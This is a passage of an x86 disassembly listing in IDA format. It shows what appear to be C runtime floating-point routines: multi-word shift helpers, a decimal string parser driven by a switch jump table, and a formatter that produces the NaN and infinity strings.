		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_425380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4253AE	proc near		; CODE XREF: sub_425973+1C8p
					; sub_425DEE+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4253AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4253DB	proc near		; CODE XREF: sub_4254A2+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42544F
		push	edi
		mov	[ebp+arg_8], eax


loc_425402:				; CODE XREF: sub_4253DB+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_425380
		push	ebx
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		push	ebx
		call	sub_425380
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425402
		xor	edx, edx
		pop	edi


loc_42544F:				; CODE XREF: sub_4253DB+21j
					; sub_4253DB+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_42547C
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42544F
; ---------------------------------------------------------------------------


loc_42547C:				; CODE XREF: sub_4253DB+77j
		mov	esi, 8000h


loc_425481:				; CODE XREF: sub_4253DB+B9j
		test	[ebx+8], esi
		jnz	short loc_425496
		push	ebx
		call	sub_425380
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_425481
; ---------------------------------------------------------------------------


loc_425496:				; CODE XREF: sub_4253DB+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_4253DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254A2	proc near		; CODE XREF: sub_424D28+17p
					; sub_424D55+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_4254DD:				; CODE XREF: sub_4254A2+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_4254F3
		cmp	cl, 9
		jz	short loc_4254F3
		cmp	cl, 0Ah
		jz	short loc_4254F3
		cmp	cl, 0Dh
		jnz	short loc_4254F6


loc_4254F3:				; CODE XREF: sub_4254A2+40j
					; sub_4254A2+45j ...
		inc	edi
		jmp	short loc_4254DD
; ---------------------------------------------------------------------------


loc_4254F6:				; CODE XREF: sub_4254A2+4Fj
		push	4
		pop	esi


loc_4254F9:				; CODE XREF: sub_4254A2+AEj
					; sub_4254A2+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_42577C	; default
					; jumptable 00425505 case 10
		jmp	off_425943[eax*4] ; switch jump


loc_42550C:				; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 0
		jl	short loc_42551D
		cmp	bl, 39h
		jg	short loc_42551D


loc_425516:				; CODE XREF: sub_4254A2+C4j
					; sub_4254A2+118j
		push	3
		jmp	loc_42573A
; ---------------------------------------------------------------------------


loc_42551D:				; CODE XREF: sub_4254A2+6Dj
					; sub_4254A2+72j
		cmp	bl, byte_43D088
		jnz	short loc_42552C


loc_425525:				; CODE XREF: sub_4254A2+124j
		push	5
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4254A2+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425552
		dec	eax
		dec	eax
		jz	short loc_425546
		sub	eax, 3
		jnz	loc_425815
		jmp	loc_4255D5
; ---------------------------------------------------------------------------


loc_425546:				; CODE XREF: sub_4254A2+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_425552:				; CODE XREF: sub_4254A2+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_42555B:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425568
		cmp	bl, 39h
		jle	short loc_425516


loc_425568:				; CODE XREF: sub_4254A2+BFj
		cmp	bl, byte_43D088
		jz	loc_425630
		cmp	bl, 2Bh
		jz	short loc_4255AA
		cmp	bl, 2Dh
		jz	short loc_4255AA
		cmp	bl, 30h
		jz	short loc_4255D5


loc_425583:				; CODE XREF: sub_4254A2+207j
		cmp	bl, 43h
		jle	loc_425815
		cmp	bl, 45h
		jle	short loc_4255A3
		cmp	bl, 63h
		jle	loc_425815
		cmp	bl, 65h
		jg	loc_425815


loc_4255A3:				; CODE XREF: sub_4254A2+EDj
		push	6
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255AA:				; CODE XREF: sub_4254A2+D5j
					; sub_4254A2+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255B2:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 2
		jl	short loc_4255C0
		cmp	bl, 39h
		jle	loc_425516


loc_4255C0:				; CODE XREF: sub_4254A2+113j
		cmp	bl, byte_43D088
		jz	loc_425525
		cmp	bl, 30h
		jnz	loc_42578A


loc_4255D5:				; CODE XREF: sub_4254A2+9Fj
					; sub_4254A2+DFj
		mov	eax, edx
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_4255DC:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_10], edx ; jumptable 00425505 case 3


loc_4255DF:				; CODE XREF: sub_4254A2+184j
		cmp	dword_43D084, edx
		jle	short loc_4255F8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425606
; ---------------------------------------------------------------------------


loc_4255F8:				; CODE XREF: sub_4254A2+143j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425606:				; CODE XREF: sub_4254A2+154j
		test	eax, eax
		jz	short loc_425628
		cmp	[ebp+var_4], 19h
		jnb	short loc_425620
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425623
; ---------------------------------------------------------------------------


loc_425620:				; CODE XREF: sub_4254A2+16Cj
		inc	[ebp+var_8]


loc_425623:				; CODE XREF: sub_4254A2+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4255DF
; ---------------------------------------------------------------------------


loc_425628:				; CODE XREF: sub_4254A2+166j
		cmp	bl, byte_43D088
		jnz	short loc_425697


loc_425630:				; CODE XREF: sub_4254A2+CCj
		mov	eax, esi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425637:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+var_4], 0	; jumptable 00425505 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_425650


loc_425643:				; CODE XREF: sub_4254A2+1ACj
		cmp	bl, 30h
		jnz	short loc_425650
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425643
; ---------------------------------------------------------------------------


loc_425650:				; CODE XREF: sub_4254A2+19Fj
					; sub_4254A2+1A4j ...
		cmp	dword_43D084, edx
		jle	short loc_425669
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425669:				; CODE XREF: sub_4254A2+1B4j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425677:				; CODE XREF: sub_4254A2+1C5j
		test	eax, eax
		jz	short loc_425697
		cmp	[ebp+var_4], 19h
		jnb	short loc_425692
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_425692:				; CODE XREF: sub_4254A2+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425650
; ---------------------------------------------------------------------------


loc_425697:				; CODE XREF: sub_4254A2+18Cj
					; sub_4254A2+1D7j
		cmp	bl, 2Bh
		jz	loc_4255AA
		cmp	bl, 2Dh
		jz	loc_4255AA
		jmp	loc_425583
; ---------------------------------------------------------------------------


loc_4256AE:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	dword_43D084, edx ; jumptable 00425505 case 5
		mov	[ebp+var_24], edx
		jle	short loc_4256CA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4256D8
; ---------------------------------------------------------------------------


loc_4256CA:				; CODE XREF: sub_4254A2+215j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4256D8:				; CODE XREF: sub_4254A2+226j
		test	eax, eax
		jz	loc_42578A
		mov	eax, esi
		jmp	short loc_42573B
; ---------------------------------------------------------------------------


loc_4256E4:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		lea	ecx, [edi-2]	; jumptable 00425505 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_4256F4
		cmp	bl, 39h
		jle	short loc_425738


loc_4256F4:				; CODE XREF: sub_4254A2+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425770
		dec	eax
		dec	eax
		jz	short loc_425764
		sub	eax, 3
		jnz	loc_425818


loc_425709:				; CODE XREF: sub_4254A2+2A4j
		push	8
		jmp	short loc_425772
; ---------------------------------------------------------------------------


loc_42570D:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], edx ; jumptable 00425505 case 8


loc_425710:				; CODE XREF: sub_4254A2+276j
		cmp	bl, 30h
		jnz	short loc_42571A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425710
; ---------------------------------------------------------------------------


loc_42571A:				; CODE XREF: sub_4254A2+271j
		cmp	bl, 31h
		jl	loc_425815
		cmp	bl, 39h
		jg	loc_425815
		jmp	short loc_425738
; ---------------------------------------------------------------------------


loc_42572E:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 7
		jl	short loc_425741
		cmp	bl, 39h
		jg	short loc_425741


loc_425738:				; CODE XREF: sub_4254A2+250j
					; sub_4254A2+28Aj
		push	9


loc_42573A:				; CODE XREF: sub_4254A2+76j
		pop	eax


loc_42573B:				; CODE XREF: sub_4254A2+240j
		dec	edi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425741:				; CODE XREF: sub_4254A2+28Fj
					; sub_4254A2+294j
		cmp	bl, 30h
		jnz	short loc_42578A
		jmp	short loc_425709
; ---------------------------------------------------------------------------


loc_425748:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+arg_18], 0	; jumptable 00425505 case 11
		jz	short loc_425778
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_425770
		dec	eax
		dec	eax
		jnz	loc_425818


loc_425764:				; CODE XREF: sub_4254A2+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425770:				; CODE XREF: sub_4254A2+258j
					; sub_4254A2+2B8j
		push	7


loc_425772:				; CODE XREF: sub_4254A2+85j
					; sub_4254A2+103j ...
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425778:				; CODE XREF: sub_4254A2+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_42577C:				; CODE XREF: sub_4254A2+5Dj
					; sub_4254A2+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425505 case 10
		jz	loc_42581A
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_42578A:				; CODE XREF: sub_4254A2+12Dj
					; sub_4254A2+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_42581A
; ---------------------------------------------------------------------------


loc_425792:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], 1	; jumptable 00425505 case 9
		xor	esi, esi


loc_42579B:				; CODE XREF: sub_4254A2+339j
		cmp	dword_43D084, 1
		jle	short loc_4257B3
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4257C2
; ---------------------------------------------------------------------------


loc_4257B3:				; CODE XREF: sub_4254A2+300j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4257C2:				; CODE XREF: sub_4254A2+30Fj
		test	eax, eax
		jz	short loc_4257E2
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_4257DD
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42579B
; ---------------------------------------------------------------------------


loc_4257DD:				; CODE XREF: sub_4254A2+334j
		mov	esi, 1451h


loc_4257E2:				; CODE XREF: sub_4254A2+322j
		mov	[ebp+var_1C], esi


loc_4257E5:				; CODE XREF: sub_4254A2+371j
		cmp	dword_43D084, 1
		jle	short loc_4257FD
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42580C
; ---------------------------------------------------------------------------


loc_4257FD:				; CODE XREF: sub_4254A2+34Aj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42580C:				; CODE XREF: sub_4254A2+359j
		test	eax, eax
		jz	short loc_425815
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4257E5
; ---------------------------------------------------------------------------


loc_425815:				; CODE XREF: sub_4254A2+99j
					; sub_4254A2+E4j ...
		dec	edi
		jmp	short loc_42581A
; ---------------------------------------------------------------------------


loc_425818:				; CODE XREF: sub_4254A2+261j
					; sub_4254A2+2BCj
		mov	edi, ecx


loc_42581A:				; CODE XREF: sub_4254A2+2DDj
					; sub_4254A2+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425902
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425846
		cmp	[ebp+var_45], 5
		jl	short loc_42583A
		inc	[ebp+var_45]


loc_42583A:				; CODE XREF: sub_4254A2+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425849
; ---------------------------------------------------------------------------


loc_425846:				; CODE XREF: sub_4254A2+38Dj
		mov	eax, [ebp+var_C]


loc_425849:				; CODE XREF: sub_4254A2+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_4258F8


loc_425853:				; CODE XREF: sub_4254A2+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_425861
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_425853
; ---------------------------------------------------------------------------


loc_425861:				; CODE XREF: sub_4254A2+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_4253DB
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_425880
		neg	eax


loc_425880:				; CODE XREF: sub_4254A2+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_42588B
		add	eax, [ebp+arg_10]


loc_42588B:				; CODE XREF: sub_4254A2+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_425893
		sub	eax, [ebp+arg_14]


loc_425893:				; CODE XREF: sub_4254A2+3ECj
		cmp	eax, 1450h
		jle	short loc_4258CA
		mov	[ebp+var_2C], 1


loc_4258A1:				; CODE XREF: sub_4254A2+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4258AD:				; CODE XREF: sub_4254A2+454j
					; sub_4254A2+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425913
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_4258CA:				; CODE XREF: sub_4254A2+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_4258DA
		mov	[ebp+var_30], 1
		jmp	short loc_4258A1
; ---------------------------------------------------------------------------


loc_4258DA:				; CODE XREF: sub_4254A2+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_42600E
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_4258F8:				; CODE XREF: sub_4254A2+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_425902:				; CODE XREF: sub_4254A2+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_425913:				; CODE XREF: sub_4254A2+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425928
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425928:				; CODE XREF: sub_4254A2+426j
					; sub_4254A2+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4254A2	endp

; ---------------------------------------------------------------------------
off_425943	dd offset loc_42550C	; DATA XREF: sub_4254A2+63r
		dd offset loc_42555B	; jump table for switch	statement
		dd offset loc_4255B2
		dd offset loc_4255DC
		dd offset loc_425637
		dd offset loc_4256AE
		dd offset loc_4256E4
		dd offset loc_42572E
		dd offset loc_42570D
		dd offset loc_425792
		dd offset loc_42577C
		dd offset loc_425748

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425973	proc near		; CODE XREF: sub_424DF9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_4259D5
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_4259D9
; ---------------------------------------------------------------------------


loc_4259D5:				; CODE XREF: sub_425973+5Aj
		mov	byte ptr [ebx+2], 20h


loc_4259D9:				; CODE XREF: sub_425973+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_4259FF
		test	edi, edi
		jnz	short loc_4259FF
		cmp	[ebp+arg_0], edi
		jnz	short loc_4259FF


loc_4259EA:				; CODE XREF: sub_425973+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425BFD
; ---------------------------------------------------------------------------


loc_4259FF:				; CODE XREF: sub_425973+6Cj
					; sub_425973+70j ...
		cmp	dx, si
		jnz	short loc_425A7E
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425A18
		cmp	[ebp+arg_0], 0
		jz	short loc_425A27


loc_425A18:				; CODE XREF: sub_425973+9Dj
		test	edi, 40000000h
		jnz	short loc_425A27
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425A6D
; ---------------------------------------------------------------------------


loc_425A27:				; CODE XREF: sub_425973+A3j
					; sub_425973+ABj
		test	cx, cx
		jz	short loc_425A41
		cmp	edi, 0C0000000h
		jnz	short loc_425A41
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Ind	; "1#IND"
		jmp	short loc_425A50
; ---------------------------------------------------------------------------


loc_425A41:				; CODE XREF: sub_425973+B7j
					; sub_425973+BFj
		cmp	edi, eax
		jnz	short loc_425A68
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Inf	; "1#INF"


loc_425A50:				; CODE XREF: sub_425973+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_425A5F:				; CODE XREF: sub_425973+109j
		and	[ebp+var_4], 0
		jmp	loc_425BD6
; ---------------------------------------------------------------------------


loc_425A68:				; CODE XREF: sub_425973+C5j
					; sub_425973+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_425A6D:				; CODE XREF: sub_425973+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_425A5F
; ---------------------------------------------------------------------------


loc_425A7E:				; CODE XREF: sub_425973+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42600E
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_425ADF
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DEE
		pop	ecx
		pop	ecx


loc_425ADF:				; CODE XREF: sub_425973+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425AF9
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425AFC
		jmp	loc_4259EA
; ---------------------------------------------------------------------------


loc_425AF9:				; CODE XREF: sub_425973+173j
		mov	edi, [ebp+arg_C]


loc_425AFC:				; CODE XREF: sub_425973+17Fj
		cmp	edi, 15h
		jle	short loc_425B04
		push	15h
		pop	edi


loc_425B04:				; CODE XREF: sub_425973+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425B1A:				; CODE XREF: sub_425973+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425B1A
		test	esi, esi
		jge	short loc_425B44
		neg	esi
		and	esi, 0FFh
		jle	short loc_425B44


loc_425B37:				; CODE XREF: sub_425973+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4253AE
		dec	esi
		pop	ecx
		jnz	short loc_425B37


loc_425B44:				; CODE XREF: sub_425973+1B8j
					; sub_425973+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_425BA1
		mov	[ebp+arg_C], ecx


loc_425B54:				; CODE XREF: sub_425973+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425322
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_425B54
		mov	eax, [ebp+arg_14]


loc_425BA1:				; CODE XREF: sub_425973+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425BDE


loc_425BAE:				; CODE XREF: sub_425973+248j
		cmp	eax, ecx
		jb	short loc_425BC1
		cmp	byte ptr [eax],	39h
		jnz	short loc_425BBD
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_425BAE
; ---------------------------------------------------------------------------


loc_425BBD:				; CODE XREF: sub_425973+242j
		cmp	eax, ecx
		jnb	short loc_425BC5


loc_425BC1:				; CODE XREF: sub_425973+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425BC5:				; CODE XREF: sub_425973+24Cj
		inc	byte ptr [eax]


